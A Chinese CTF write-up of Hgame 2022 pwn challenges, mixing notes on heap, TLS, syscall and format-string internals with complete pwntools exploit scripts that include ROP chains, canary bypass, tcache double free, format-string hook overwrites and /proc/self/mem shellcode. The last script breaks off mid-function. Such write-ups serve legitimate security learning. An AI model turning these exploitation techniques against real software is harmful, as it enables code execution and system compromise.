-
-
[原创]Hgame2022
-
2022-4-28 00:15 8886
-
week1
所学到的知识
(1)线程调试:
1 2 3 | i threads :看查当前的线程信息(包括了TLS结构体的位置) thread n:切换为编号为n的线程 gdb 中使用 `fsbase` 指令即可获得 fs 寄存器的值 |
(2)TLS(线程局部储存):防止当一个线程卡死后对其它线程对全局变量或该函数内的static变量的使用产生影响,会在该线程开始时,拷贝一份全局变量和static变量到TLS段。线程的TLS段一般和栈段挨得很近
(3)线程题的canary比较:线程题的canary是把栈段的canary和TLS段的副本进行比较,所以要绕过canary的话,可以将栈段和TLS段的canary均覆盖成相同的值
(4)系统调用
1 2 3 4 5 6 7 8 9 10 11 | 32 位系统调用(shell): eax:设置为系统调用号( 0xb ) ebx:设置为第一个参数( / bin / sh字符串地址) ecx:设置为第二个参数( 0 ) edx:设置为第三个参数( 0 ) 64 位系统调用(shell): rax:( 0x3b ) rdi:( / bin / sh) rsi:( 0 ) rdx:( 0 ) |
(5)aoti函数
atoi (表示 ascii to integer)是把字符串转换成整型数的一个函数,应用在计算机程序和办公软件中。int atoi(const char *nptr) 函数会扫描参数 nptr字符串,会跳过前面的空白字符(例如空格,tab缩进)等。如果 nptr不能转换成 int 或者 nptr为空字符串,那么将返回 0。特别注意,该函数要求被转换的字符串是按十进制数理解的。atoi输入的字符串对应数字存在大小限制(与int类型大小有关),若其过大可能报错-1。
(6)open函数
参数一:表示打开文件的目录
参数二:表示打开文件的方式(0是只读)
功能,打开参数一所指向的文件并向rax寄存器返回fd指针
(7)getdents64函数
参数一:fd指针
参数二:写入的内存区域
参数三:4096
功能:把当前文件目录下的文件名写入参数二指向的内存区域
(8)OGW
是对使用open、getdents64、write函数(或系统调用)将目录中的文件名读入指定区域的简称
(9)ORW
是对使用open、read、
(10)沙箱保护
有些题目可能会用沙箱的prctl函数或者seccomp函数来静止使用一些系统调用
可以用seccomp-tools dump ./file_name看查
(11)泄露进程地址
1 | search - t dword 查看残留的进程地址 由于是dword,所以会有错位,所以需要自己补齐 |
题解
1.enter_the_pwn_land
看查保护
ida
网上百度了一下才知道pthread_create和pthread_join的作用
1 2 | pthread_create:创造一个线程来运行第三个参数所指的函数 pthread_join:以阻塞的方式等待thread指定的线程结束。 当函数返回时,被等待线程的资源被收回。 如果线程已经结束,那么该函数会立即返回。 |
所以重点在运行的test_thread函数
发现可供读入的数据很长,所以想到栈溢出,但是函数列表里面没有后门函数,所以考虑泄露libc基址然后执行shell函数
溢出什么呢?先gdb看看栈上吧
发现了一个栈上存了一个栈地址0x7ffff7d9b700,且这个地址和其它地址的偏移是固定的。那么我们就可以泄露这个地址,根据固定偏移,就能得到可执行文件内存中存放的一个ibc库函数的got表地址(这里我选的是在main函数栈中存放的__libc_start_main函数)从而泄露libc基址
问题
然而,如果泄露了libc地址,随意胡乱覆盖就能覆盖到返回地址的话,那你真的是小看了chuj学长
var_4是变量i在栈中的偏移,如果直接覆盖,会对i的值有所影响。后果就是要么i的值大于4095提前结束,要么覆盖到一个很远的位置。
如何解决?
覆盖的时候合理一点,这就需要个人调试,也是一道不错的练io和gdb的题
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | from pwn import * r = process( './a' ) elf = ELF( './a' ) ##libpthread=ELF('./libpthread-2.31.so') libc = ELF( './libc-2.31.so' ) context.log_level = 'debug' #gdb.attach(r) pop_rdi_ret = 0x401313 payload = 'a' * 32 + '\x0a' r.send(payload) address = u64(r.recvuntil( '\x7f' )[ - 6 :].ljust( 8 , '\x00' )) print ( hex (address)) libcbase = address - 0xa + 0x2a9b3 - (libc.symbols[ '__libc_start_main' ] + 243 ) print ( hex (libcbase)) sys_address = libcbase + libc.symbols[ 'system' ] bin_sh = libcbase + libc.search( '/bin/sh' ). next () payload = '\x2c' * ( 0x25 + 8 ) + '\x00' * 3 + 'a' * 8 ROP = p64( 0x40101a ) + p64(pop_rdi_ret) + p64(bin_sh) + p64(sys_address) payload + = ROP + '\x0a' ##gdb.attach(r) r.send(payload) r.interactive() |
2.enter_the_evil_pwn_land
保护
比第一题多了一个canary
ida
main函数和第一题一样
发现也是多了一个canary
那就要思考如何绕过这个canary了
思路历程
(1)相较第一题多进行一次thread_test函数泄露canary,然后在最后一次填入泄露的canary绕过然后溢出至shell函数
不行:由于canary的低字节为'\x00',要想用puts函数泄露必须要补上非'\x00'的字符,但这样无法还原canary,会触发保护机制
(2)猜想canary是个伪随机数
离谱:如果真的是,为啥还有那么多小可爱尝试爆破
在网上搜素(2)的过程中,发现了TLS这个东西(也就是开篇的那个知识(2)),于是就有了一个还算正常的思路
覆盖canary和TLS的stack_gurd的值相同,进行绕过然后到达shell
问题
在尝试了构造ROP链调用system函数还有onegadget不行后,询问chuj学长得知,还有最后一条路没有走——系统调用
最后走通了
还是很疑惑前两个为啥走不通
听chuj学长说应该是dtv指针被修改了
exp
附:系统调用涉及的gadget(from libc-2.31.so)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | from pwn import * r = process( './c' ) elf = ELF( './c' ) ##libpthread=ELF('./libpthread-2.31.so') libc = ELF( './libc-2.31.so' ) context.log_level = 'debug' ##gdb.attach(r) pop_rdi_ret = 0x401363 payload = 'a' * 32 + '\x0a' r.send(payload) address = u64(r.recvuntil( '\x7f' )[ - 6 :].ljust( 8 , '\x00' )) print ( hex (address)) libcbase = address - 0xa + 0x2a9b3 - (libc.symbols[ '__libc_start_main' ] + 243 ) print ( hex (libcbase)) ##sys_address=libcbase+libc.symbols['system'] bin_sh = libcbase + libc.search( '/bin/sh' ). next () ##one_gadget=libcbase+0xe6c84 padbt = libcbase + 0x162865 ##pop_rax_rdx_rbx_ret pst = libcbase + 0x27529 ##pop_rsi_ret pdt = libcbase + 0x26b72 ##pop_rdi_ret syscall = libcbase + 0x2584d payload = 'a' * 40 + 'a' * 8 + p64(address - 0xa - 0x810 ) ROP = p64(padbt) + p64( 0x3b ) + p64( 0 ) + p64( 0 ) + p64(pst) + p64( 0 ) + p64(pdt) + p64(bin_sh) + p64(syscall) payload + = ROP + ( 0x838 - 8 * 9 - 48 ) * '\x61' + p64(address - 0xa ) + p64( 0 ) + p64(address - 0xa ) + p64( 1 ) + p64( 0 ) + 'a' * 8 + '\x0a' gdb.attach(r) r.send(payload) r.interactive() 0x0000000000162865 : pop rax ; pop rdx ; pop rbx ; ret 0x0000000000027529 : pop rsi ; ret 0x0000000000026b72 : pop rdi ; ret 0x000000000002584d : syscall |
3.test_your_gdb
保护
ida
main就不看了,也是个线程,直接看线程函数
memcmp不像strcmp,不会触发'\x00'截断机制
还好,write函数也不像puts函数同样不会被截断
所以思路已经很清晰了,先用gdb调调看,看s2所指的字符长啥样然后将buf置为相同
利用write函数打印canary,然后用gets函数直接ret2backdoor
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 | from pwn import * r = process( './b' ) context.log_level = 'debug' r.recvuntil( "enter your pass word" ) gdb.attach(r) payload = p64( 0xb0361e0e8294f147 ) + p64( 0x8c09e0c34ed8a6a9 ) r.send(payload) r.recvuntil( '\x7f\x00\x00' ) canary = u64(r.recv( 8 )) print ( hex (canary)) payload = 'a' * ( 0x20 - 0x8 ) + p64(canary) + p64( 0 ) + p64( 0x401256 ) r.sendline(payload) r.interactive() |
4.oldfashion_orw
保护
沙箱过滤
特殊文件stat.sh
发现cp那段很可以,复制到百度康康,然后得知是head指令后面生成了随机数,于是自己复制了head后面一大截跑了下
发现是一个长度为20的字符串,猜测flag是变成了flag+这长度为20的随机数
那就需要泄露了,一开始没有啥头绪,想到了ls好像有这个功能
就百度了一下ls的实现
于是就学到了系统调用getdents64[挂一下博客] https://blog.csdn.net/cnbird2008/article/details/11629095
ida
发现if比较的时候用到nbytes的类型是int64,而read的一个无符号数
所以可以考虑把nbytes置为一个负数,绕过if的同时保证了read的充足输入
显然read是读不完的(至少都要读2^31个数据)
所以我们需要截断read的读入
由于read函数是读到EOF或者'\n'截止的,所以直接用sendline即可
这样我们就可以ret2ROP了
ROP
这道题的ROP我分成三个部分:泄露libc并返回main、OGW、ORW(OGW和ORW我放在”学到的知识“里面了,就不赘述)
由于OGW和ORW中间调用的打开目录是字符串"./“和”flag+20个随机数字符“
熟悉c语言的师傅应该知道,”字符串“本质上是一个地址,open和getdents64函数的目录参数也是地址
所以我们需要用read函数在中间穿插将字符串读入bss段
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 | from pwn import * context.log_level = 'debug' r = process( './vuln' ) elf = ELF( './vuln' ) libc = ELF( './libc-2.31.so' ) wgot = elf.got[ 'write' ] rgot = elf.got[ 'read' ] bs = elf.bss() csu_f = 0x401420 csu_b = 0x401436 pdt = 0x401443 ##pop_rdi_ret def csu(a1,a2,a3,f_a): pd = p64(csu_b) + p64( 0 ) + p64( 0 ) + p64( 1 ) + p64(a1) + p64(a2) + p64(a3) + p64(f_a) pd + = p64(csu_f) pd + = 'a' * 8 * 7 return pd ##leaklibc&&ret2main r.recvuntil( "size?\n" ) r.send( '-32' ) r.recvuntil( "content?\n" ) padding = 0x38 * 'a' csu_leak_libc = padding + csu( 1 ,wgot, 8 ,wgot) + p64( 0x401311 ) ##csu_read_bss gdb.attach(r) r.send(csu_leak_libc) wars = u64(r.recvuntil( '\x7f' )[ - 6 :].ljust( 8 , '\x00' )) print (wars) libcbase = wars - libc.symbols[ 'write' ] ##gadget pat = libcbase + 0x4a550 ##pop_rax_ret pst = libcbase + 0x27529 ##pop_rsi_ret pd12t = libcbase + 0x11c371 ##pop_rdx_r12_ret syscall = libcbase + 0x66229 def sys(p,a1,a2,a3): pd = p64(pat) + p64(p) + p64(pdt) + p64(a1) + p64(pst) + p64(a2) + p64(pd12t) + p64(a3) + p64( 0 ) + p64(syscall) return pd ##OGW&&ORW r.recvuntil( "size?\n" ) pd = '-32' + '\n' r.send(pd) ROP = csu( 0 ,bs + 0x30 , 4 ,rgot) + sys( 2 ,bs + 0x30 , 0 , 0 ) + sys( 217 , 3 ,bs + 0x100 , 4096 ) + csu( 1 ,bs + 0x100 , 200 ,wgot) + csu( 0 ,bs + 0x30 , 0x30 ,rgot) + sys( 2 ,bs + 0x30 , 0 , 0 ) + csu( 3 ,bs + 0x200 , 0x60 ,rgot) + csu( 1 ,bs + 0x200 , 0x60 ,wgot) pd = padding + ROP + p64( 0xdeadbeef ) + '\n' r.recvuntil( "content?\n" ) r.send(pd) pd = './' r.recvuntil( "done!\n" ) r.send(pd) r.recvuntil( 'flag' ) string = r.recv( 20 ) string = 'flag' + string r.send(string) r.interactive() |
5.ser_per_fa
保护
好家伙,比美国经济大萧条时期的股票还绿
ida
main
可以看出是标准的spfa求多源最短路,由于曾经是oier,就特别入迷,能看懂但是找不到洞
切换为pwn手,发现dist[v6],v6没有范围限制,结合招新赛浩哥那道secret,就能知道这是一个任意地址读
和做浩哥那道题一样,我们直接看汇编
可以发现,rax就是我们输入的v6*8
spfa
已经有了任意地址读,那么我们希望有任意地址写的功能
从function_list也能看出已经有后门函数了
看着这个c艹的反汇编,我还真的看懂了,但其实只要知道dist这个数组,它又可以被修改就好了
修改的值是输入的边权
所以如果想修改dist+v5*8的位置,连一条源节点向这个位置的边,就可以覆盖这个位置的为边权
所以,我们如果想把main_ret的值修改为back_door,就可以这么做
至此,我们做到了伪任意地址读写
为啥是伪,因为开了pie,地址是随机的,所以需要泄露地址
需要泄露libc的和进程的基地址,泄露进程基地址很容易理解
泄露libc是为了用symbols表获得栈地址的相对偏移从而泄露
所以思路很清晰了,用两次任意地址读分别泄露libc、进程的地址
再用一次,泄露stack地址
最后用任意地址写,修改main_ret为back_door
但真的行吗?(指上一句)
gdb里发现会被对齐卡死
这里就要有一个技巧了
我们直接绕过push指令,直接ret2backdoor+5,就能对齐了
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 | from pwn import * from pwnlib.util.iters import mbruteforce from hashlib import sha256 context.log_level = 'debug' def proof_of_work(sh): ##sh.recvuntil("XXXX+") ##suffix = sh.recvuntil(')').decode("utf8")[:-1] ##log.success(suffix) sh.recvuntil( " == " ) cipher = sh.recvline().strip().decode( "utf8" ) proof = mbruteforce( lambda x: sha256((x).encode()).hexdigest() = = cipher, string.ascii_letters + string.digits, length = 4 , method = 'fixed' ) sh.sendlineafter( "input your ????>" , proof) ##r=process('./b') r = remote( 'chuj.top' , 45574 ) proof_of_work(r) ##r=process('./spfa') elf = ELF( './spfa' ) libc = ELF( './libc-2.31.so' ) sla = lambda a,b : r.sendlineafter(a,b) sla( "how many datas?\n>> " , str ( 4 )) ##leak_libc sla( "nodes?\n>> " , str ( 1 )) sla( "edges?\n>> " , str ( 0 )) sla( "node?\n>> " , str ( 0 )) sla( "to ?\n>> " , str ( - ((elf.sym[ 'dist' ] - elf.got[ 'puts' ]) / 8 ))) ##sla("to ?\n>> ",str((elf.got['puts']-elf.sym['dist']/8))) ##libc_base=int(r.recvuntil("\n",drop=True),base=10)-libc.sym['puts'] r.recvuntil( "path is " ) libc_base = int (r.recvuntil( "\n" , drop = True ), base = 10 ) - libc.sym[ "puts" ] ##log.success('libc_base:'+hex(libc_base)) ##leak_proc sla( "nodes?\n>> " , str ( 1 )) sla( "edges?\n>> " , str ( 0 )) sla( "node?\n>> " , str ( 0 )) sla( "to ?\n>> " , str (( 0x6d28 - elf.sym[ 'dist' ]) / 8 )) r.recvuntil( "path is " ) proc_base = int (r.recvuntil( "\n" ,drop = True ),base = 10 ) - 0x12e0 ##log.success('proc_base:'+hex(proc_base)) ##leak_stack sla( "nodes?\n>> " , str ( 1 )) sla( "edges?\n>> " , str ( 0 )) sla( "node?\n>> " , str ( 0 )) ##gdb.attach(r) sla( "to ?\n>> " , str ((libc_base + libc.sym[ 'environ' ] - (elf.sym[ 'dist' ] + proc_base)) / 8 )) r.recvuntil( "path is " ) stack_address = int (r.recvuntil( "\n" ,drop = True ),base = 10 ) ##log.success('stack_address:'+hex(stack_address)) ret_address = str ((stack_address - 0x100 - (proc_base + elf.sym[ 'dist' ])) / 8 ) sla( "nodes?\n>> " , str ( 2 )) sla( "edges?\n>> " , str ( 1 )) sla( "format\n" , "0 " + ret_address + " " + str (proc_base + 0x16aa )) sla( "node?\n>> " , str ( 0 )) ##gdb.attach(r) sla( "to ?\n>> " , str ( 0 )) r.interactive() |
week2
彩蛋
所学到的知识
(1)/proc/self/mem
1 | / proc / self / mem是进程的内存内容,通过修改该文件相当于直接修改当前进程的内存。 |
(2)tcache bin
1 2 3 4 5 | glibc在 2.26 版本之后就加入了tcache bin 以提高进程的运行效率 相较于fastbin,它没有对size成员的检测机制 具体的内存空间和其它细节可以看收藏夹里的一篇博客 大体上就是进程分配空间和释放空间都会有限考虑tcache bin ,其同一大小内存的上限是 7 个,所以如果需要使用unsorted bin 进行uaf的话,需要事先填满tcache bin 2.31 版本加入了tcache的key指针检测机制,俺还不会伪造,但是可以在fastbin中doublefree,然后利用stash机制进入tcache避开对size成员的检测 |
(3)glibc 2.31版本的fastbin stash,unsorted bin UAF
1 2 3 | unsorted bin :当fastbin和tcache都满或者不符合进入要求时,会优先考虑放入unsorted bin 。该 bin 是用双向链表实现的,且为FIFO 且表头和表尾必然有fd或bk指针指向main_arena,所以可以利用unsorted bin uaf leak出libc基地址 fastbin stash:当malloc调用fastbin chunk时,会检测tache是否为空,倘若为空,就会把fastbin中剩下的chunk移进tcache |
(4)字符串格式化漏洞(这个直接写在另一篇博客了)
(5)realloc函数
1 2 3 4 | 用来重新分配ptr指针指向的chunk size如果增大,会把数据复制到新的地址,但有几率ptr指针的值不变 size如果减小,数据会被复制并且截取长度 realloc(ptr, 0 )相当于free(ptr) |
1.blind
就是一道盲打题,但是好像没有学到啥........
就练了练IO
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | from pwn import * from LibcSearcher import * from pwnlib.util.iters import mbruteforce from hashlib import sha256 context.log_level = 'debug' def proof_of_work(sh): sh.recvuntil( " == " ) cipher = sh.recvline().strip().decode( "utf8" ) proof = mbruteforce( lambda x: sha256((x).encode()).hexdigest() = = cipher, string.ascii_letters + string.digits, length = 4 , method = 'fixed' ) sh.sendlineafter( "input your ????>" , proof) ##r=process('./b') r = remote( 'chuj.top' , 51904 ) proof_of_work(r) r.recvuntil( 'write: ' ) write = int (r.recvuntil( '\n' ,drop = True ),base = 16 ) log.success( 'write:' + hex (write)) libc = LibcSearcher( 'write' ,write) libcbase = write - libc.dump( 'write' ) log.success( 'libcbase:' + hex (libcbase)) ms = libcbase + libc.dump( '__libc_start_main' ) log.success( 'ms:' + hex (ms)) r.sendlineafter( '>> ' , '/proc/self/mem\x00' ) r.sendlineafter( '>> ' , str (ms)) payload = asm(shellcraft.sh()).rjust( 0x300 , asm( 'nop' )) + '\n' r.sendafter( ">> " , payload) r.interactive() |
2.oldfashion_note
保护
好家伙全绿,意思是要leak
ida
main
add
delet
show
很标准的增删秀
思路
怎么打呢?
首先利用unsorted bin进行uaf leak libc,但先需要填满tcache
由于tcache的key检测,我们需要先填满tcache然后在fastbin double free
在fastbin里double free的时候,若tcache此时为空,通过stash机制会自然把fastbin的chunk放入tcache,自然绕过了对size的检测
double free修改__free_hook为system,同时将fake_chunk的前一个add的chunk的content置为'/bin/sh'
那么原来free(pre_chunk_content_address)就变为system('/bin/sh')了
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 | from pwn import * from pwnlib.util.iters import mbruteforce from hashlib import sha256 context.log_level = 'debug' def proof_of_work(sh): ##sh.recvuntil("XXXX+") ##suffix = sh.recvuntil(')').decode("utf8")[:-1] ##log.success(suffix) sh.recvuntil( " == " ) cipher = sh.recvline().strip().decode( "utf8" ) proof = mbruteforce( lambda x: sha256((x).encode()).hexdigest() = = cipher, string.ascii_letters + string.digits, length = 4 , method = 'fixed' ) sh.sendlineafter( "input your ????>" , proof) ##r=process('./b') r = remote( 'chuj.top' , 51562 ) proof_of_work(r) ##r=process('./note') libc = ELF( './libc-2.31.so' ) def cho(num): r.recvuntil( ">> " ) r.sendline( str (num)) def add( id ,si,con): cho( 1 ) r.recvuntil( ">> " ) r.send( str ( id )) r.recvuntil( ">> " ) r.send( str (si)) r.recvuntil( ">> " ) r.send(con) def delet( id ): cho( 3 ) r.recvuntil( ">> " ) r.send( str ( id )) def show( id ): cho( 2 ) r.recvuntil( ">> " ) r.send( str ( id )) ##gdb.attach(r) for i in range ( 0 , 8 ): add(i, 0x100 , 'a' ) for i in range ( 1 , 8 ): delet(i) delet( 0 ) ##gdb.attach(r) show( 0 ) libcbase = u64(r.recv( 6 ).ljust( 8 , '\x00' )) - 0x1c4b2d - (libc.sym[ '__libc_start_main' ] + 243 ) log.success( 'libcbase:' + hex (libcbase)) log.success( 'free_hook:' + hex (libcbase + libc.sym[ '__free_hook' ])) ##gdb.attach(r) for i in range ( 0 , 9 ): add(i, 0x60 , "a" * 0x60 ) ##0,1 un 2~9 for i in range ( 0 , 7 ): delet(i) ##gdb.attach(r) ##delet(9) ##delet(10) delet( 7 ) delet( 8 ) delet( 7 ) for i in range ( 0 , 7 ): add(i, 0x60 , 'a' * 0x60 ) ##gdb.attach(r) add( 0 , 0x60 ,p64(libcbase + libc.sym[ '__free_hook' ])) add( 1 , 0x60 , 'a' ) add( 2 , 0x60 , '/bin/sh\x00' ) add( 0 , 0x60 ,p64(libcbase + libc.sym[ 'system' ])) delet( 2 ) r.interactive() |
3.echo_sever
保护
很经典的保护,地址随机化+不能修改got表
ida
从printf函数能够看出存在字符串格式化漏洞
看到了reallo函数就知道可能是需要修改__free_hook来实现shell
如何修改就需要我们的fmt了,这个在博客里写得很清楚就不再赘述了
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 | from pwn import * ##from LibcSearcher import * from pwnlib.util.iters import mbruteforce from hashlib import sha256 ##import base64 context.log_level = 'debug' ##context.terminal = ["tmux", "splitw", "-h"] context.arch = 'amd64' ##context.os = 'linux' def proof_of_work(sh): sh.recvuntil( " == " ) cipher = sh.recvline().strip().decode( "utf8" ) proof = mbruteforce( lambda x: sha256((x).encode()).hexdigest() = = cipher, string.ascii_letters + string.digits, length = 4 , method = 'fixed' ) sh.sendlineafter( "input your ????>" , proof) r = remote( "chuj.top" , 52156 ) proof_of_work(r) ##r=process('./echo') libc = ELF( './libc-2.31.so' ) r.recvuntil( ">> " ) payload = "%6$p--%13$p\n" r.sendline( str ( len (payload))) r.send(payload) ##leak rbp = int (r.recvuntil( '--' ,drop = True ),base = 16 ) libcbase = int (r.recvuntil( '\n' ,drop = True ),base = 16 ) - (libc.sym[ '__libc_start_main' ] + 243 ) free_hook = libcbase + libc.sym[ "__free_hook" ] system = libcbase + libc.sym[ 'system' ] log.success( 'free_hook:' + hex (free_hook)) log.success( 'rbp:' + hex (rbp)) log.success( 'libcbase:' + hex (libcbase)) log.success( 'system:' + hex (system)) sm_of = (rbp & 0xff ) + 0x18 log.success( 'sm_of:' + hex (sm_of)) ##add hook payload = "%{}c%6$hhn\n" . format (sm_of) r.recvuntil( "length:\n>> " ) r.sendline( str ( len (payload))) r.send(payload) payload = "%{}c%10$hn\n" . format ((free_hook) & 0xFFFF ) r.recvuntil( "length:\n>> " ) r.sendline( str ( len (payload))) r.send(payload) payload = "%{}c%6$hhn\n" . format (sm_of + 2 ) r.recvuntil( "length:\n>> " ) r.sendline( str ( len (payload))) r.send(payload) payload = "%{}c%10$hn\n" . format ((free_hook>> 16 ) & 0xFFFF ) r.recvuntil( "length:\n>> " ) r.sendline( str ( len (payload))) r.send(payload) payload = "%{}c%6$hhn\n" . format (sm_of + 4 ) r.recvuntil( "length:\n>> " ) r.sendline( str ( len (payload))) r.send(payload) payload = "%{}c%10$hn\n" . format ((free_hook>> 32 ) & 0xFFFF ) r.recvuntil( "length:\n>> " ) r.sendline( str ( len (payload))) ##gdb.attach(r) r.send(payload) ##remake payload = "%{}c%6$hhn\n" . format (sm_of) r.recvuntil( "length:\n>> " ) r.sendline( str ( len (payload))) r.send(payload) ##change hook payload = "%{}c%10$hn\n" . format (free_hook & 0xFFFF ) r.recvuntil( "length:\n>> " ) r.sendline( str ( len (payload))) r.send(payload) payload = "%{}c%13$hn\n" . format ((system) & 0xFFFF ) r.recvuntil( "length:\n>> " ) r.sendline( str ( len (payload))) r.send(payload) payload = "%{}c%10$hn\n" . format ((free_hook + 2 ) & 0xFFFF ) r.recvuntil( "length:\n>> " ) r.sendline( str ( len (payload))) r.send(payload) payload = "%{}c%13$hn\n" . format ((system>> 16 ) & 0xFFFF ) r.recvuntil( "length:\n>> " ) r.sendline( str ( len (payload))) r.send(payload) payload = "%{}c%10$hn\n" . format ((free_hook + 4 ) & 0xFFFF ) r.recvuntil( "length:\n>> " ) r.sendline( str ( len (payload))) r.send(payload) payload = "%{}c%13$hn\n" . format ((system>> 32 ) & 0xFFFF ) r.recvuntil( "length:\n>> " ) r.sendline( str ( len (payload))) ##gdb.attach(r) r.send(payload) ##call system payload = "/bin/sh\x00" r.recvuntil( "length:\n>> " ) r.sendline( str ( len (payload))) r.send(payload) r.recvuntil( "length:\n>> " ) r.sendline( str ( 0 )) r.interactive() |
week3
所学到的知识
(1)每周几个终端命令小知识
1 2 3 | 看查libc版本:strings libc.so. 6 | grep ubuntu 看查堆块:pwndbg> heap 看查 bin :pwndgb> bins |
(2)unsorted bin uaf
原理: 利用unsorted bin的头和尾的bk或fd指针指向的是main_arena,而main_arena虽然不在libc.sym中 但是和libc里其它函数的sym表的偏移是固定的,于是可以间接泄露libc基地址 分为两种: (1)free之后堆指针(严格来说是数组里存的每个堆的content段的指针即malloc返回值)不清空: 那敢情好啊,直接show就好了 (2)free之后堆指针清空,那么我们可以尝试合并堆块到unsorted bin,通过调用进行切割,使得数组上存的 堆块是unsorted bin,间接达到uaf
(3)堆的合并
堆定位:在堆合并的时候(记堆块指针为p,包含size和pre_size),需要知道合并的是哪个堆。这种定位主要依靠pre_size(向低地址合并)和size(向高地址合并)来实现。位于低地址的就是p-pre_size,而高地址是p+size
堆合并:再定位后会对定位的堆块和原堆块进行合并操作,合并有个重要环节就是unlink,修改部分如下:
1 2 3 4 | p - >fd = FD p - >bk = BK BK - >fd = FD FD - >bk = BK |
乍一看就是链表的删除嘛 ,但是这其中其实有很大的漏洞,假如我们伪造一个堆块,其BK->fd为我们想修改的内容(如__malloc_hook),而fd放上修改的值(如system),那么其实是可以做到任意已知地址修改的
但是这种利用手段在上古的glibc2.23版本就迎来了安全检查,比较精髓的就是会检查BK和FD是否合法(大致如下):
1 2 3 4 5 | p - >fd = FD p - >bk = BK if (FD - >bk! = p || BK - > ! = p ) exit( - 1 ) / / 当然不可能直接exit( - 1 ),这里只是打个异常退出的比方 BK - >fd = FD FD - >bk = BK |
然而还是有其它手段可以利用,这个利用直到2.31都没修改,具体在(4)中可以看到
size严格检查:没看源码,看别的师傅的博客学到的。如果是低地址合并的话,会检查合并的chunk的size段和准备free的chunk的pre_size段是否相同,以及pre_insure是否为0
(4)unlink实现任意已知地址修改(no pie)
我们知道,edit函数是直接修改数组上存的指针指向的地址,如果我们可以修改数组上存的指针,那么就能够直接通过edit修改自己想修改的地址。具体是通过unlnk把数组上存上数组的地址(一般是数组首地址,chunk的index一般是3)。此时调用edit(3)即可修改数组上的指针
unlink利用的实现:
在数组上指针为p的chunk里构造fake_chunk,fake_chunk->fd=p-0x18,fake_chunk->bk=p-0x10,并且修改高地址的chunk的pre_size和size能够通过检查。那么绕过在unlink的检查的同时,FD->bk=p=p-0x18(这就是为啥选index3使得为首地址)
(5)没有show函数如何leak libc(partial relro && no pie)
通过unlink等手段修改free函数的got表为put函数的plt,数组指针ptr上存任意函数的got表,那么free(ptr)就相当于put(got),即可泄露libc
(6)奇怪的后门
有的题的读入是read+atoi,如果我们能够修改atoi的got表为system,read的是‘/bin/sh\x00’,那么就可以调用后门
(7)realloc函数抬栈
有些时候one_gadget会集体失效,这就需要我们修改栈帧实现它对[rsp+]==NULL的匹配,使用realloc函数是个不错的选择,因为开头有大量的push,并且有一个call rax的操作(这个rax是realloc hook,realloc hook和malloc hook离得非常近),那么我们就可以修改malloc hook为realloc,并且沿途修改realloc hook为one_gadget
(8)堆对齐
如果*chunk=malloc(0x68),那么我们实际可以写入的大小是0x68,因为可以利用下一个chunk的pre_size段
(9)off_by_null
这篇博客(12条消息) off by null 小结_ch3nwr1d的博客-CSDN博客写得挺好的,例题也是一个经典的模板题。
题解
1.changeable_note
libc
2.23
保护
ida
发现没有show函数,结合保护的partial relro,就可以选择使用unlink修改free函数的got来调用put函数泄露libc。同时读入是read+atoi,那么同样可以在数组所在地址上修改atoi的got为system,read进'/bin/sh\x00'即可get_shell
小坑
这题有个小坑就是edit的content的读入是用gets函数实现的,gets函数有个特性,就是会在读入的字符末尾补一个'\x00',我们修改freegot的时候,如果直接发p64()的话,会覆盖后面函数的地址(实测函数是puts函数),导致报错。可以通过发小端字或者p64()[:-1]解决
exp
1 | from pwn import * <br> from LibcSearcher import * <br> from pwnlib.util.iters import mbruteforce<br> from hashlib import sha256<br> ##import base64<br>context.log_level='debug'<br>##context.terminal = ["tmux", "splitw", "-h"]<br>context.arch = 'amd64'<br>##context.os = 'linux'<br>def proof_of_work(sh):<br> sh.recvuntil(" == ")<br> cipher = sh.recvline().strip().decode("utf8")<br> proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed')<br> sh.sendlineafter("input your ????>", proof)<br> <br>r=remote('chuj.top',52405) <br>proof_of_work(r)<br>##r=process('./note')<br>elf=ELF('./note')<br>libc=ELF('./libc-2.23.so')<br>note=0x4040c0<br>free_got=elf.got['free']<br>put_got=elf.got['puts']<br>put_plt=elf.plt['puts']<br>atoi_got=elf.got['atoi']<br>log.success('free_got:'+hex(free_got))<br>log.success('free_plt:'+hex(elf.plt['puts']))<br>log.success('put_got:'+hex(put_got))<br>log.success('atoi_got:'+hex(atoi_got))<br><br>def cho(num):<br> r.recvuntil('>> ')<br> r.send(str(num))<br><br>def add(index,size,con):<br> cho(1) <br> r.recvuntil('>> ')<br> r.send(str(index))<br> r.recvuntil('>> ')<br> r.send(str(size))<br> r.recvuntil('>> ')<br> r.send(con)<br><br>def edit(index,con):<br> cho(2) <br> r.recvuntil('>> ')<br> r.sendline(str(index))<br> r.sendline(con)<br><br>def delet(index):<br> cho(3)<br> r.recvuntil('>> ')<br> r.send(str(index)) 